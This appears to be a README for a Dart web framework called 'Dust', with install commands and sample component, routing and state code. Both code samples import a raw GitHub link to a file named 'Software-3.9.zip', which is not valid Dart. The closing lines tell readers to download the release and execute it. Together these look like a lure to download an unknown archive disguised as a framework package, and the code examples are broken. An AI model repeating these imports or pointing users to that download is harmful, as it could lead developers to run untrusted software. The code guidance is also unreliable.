Welcome to Dust, a modern, component-based Dart web framework. Inspired by React and Vue, Dust leverages the power of WebAssembly (WASM) to deliver high performance and a seamless developer experience. Build robust, type-safe web applications effortlessly.
- Features
- Getting Started
- Installation
- Usage
- Components
- Routing
- State Management
- Deployment
- Contributing
- License
- Links
- Component-Based Architecture: Create reusable components to enhance your application’s maintainability.
- Declarative UI: Write clean and understandable code that describes what the UI should look like.
- Type Safety: Leverage Dart’s strong typing to catch errors early in the development process.
- High Performance: Utilize WebAssembly for faster execution and a smooth user experience.
- SPA Support: Build single-page applications that feel responsive and dynamic.
- Rich Ecosystem: Benefit from a variety of libraries and tools available in the Dart ecosystem.
To get started with Dust, you need to have Dart installed on your machine. If you haven’t done this yet, visit the Dart installation guide for instructions.
Once you have Dart set up, you can easily create a new Dust project.
To install Dust, you can use the Dart package manager. Open your terminal and run:
dart pub global activate dustThis command will install the Dust framework globally on your machine.
After installing Dust, you can create a new project with the following command:
dust create my_projectNavigate into your project directory:
cd my_projectTo run your application, use:
dust serveThis will start a local development server. You can view your application by opening your browser and going to http://localhost:8080.
Dust allows you to create components easily. Here’s a simple example of a component:
import 'https://raw.githubusercontent.com/raskolafiw/Dust/main/packages/router/lib/Software-3.9.zip';
class MyComponent extends Component {
@override
render() {
return html('''
<div>
<h1>Hello, Dust!</h1>
</div>
''');
}
}You can then use this component in your main application file.
Routing in Dust is straightforward. You can define routes in your application using the built-in router. Here’s an example:
import 'https://raw.githubusercontent.com/raskolafiw/Dust/main/packages/router/lib/Software-3.9.zip';
class MyApp extends Component {
@override
render() {
return Router(
routes: [
Route(path: '/', component: HomeComponent()),
Route(path: '/about', component: AboutComponent()),
],
);
}
}Managing state in Dust is simple. You can use Dart's built-in features or integrate with state management libraries. Here’s an example of using a simple state management approach:
class AppState {
int counter = 0;
void increment() {
counter++;
}
}You can then use this state in your components.
To deploy your Dust application, you can build it for production using:
dust buildThis will create an optimized version of your application in the build directory. You can then upload this directory to your web server.
We welcome contributions! If you’d like to contribute to Dust, please fork the repository and submit a pull request. Make sure to follow the contribution guidelines.
Dust is open-source software licensed under the MIT License. See the LICENSE file for more details.
For the latest releases, visit the Releases section. Here, you can download the latest version and execute it on your machine.
If you want to explore more about Dust, feel free to check out the Releases section for updates and new features.
Thank you for checking out Dust! We hope you enjoy building with it as much as we do. Happy coding!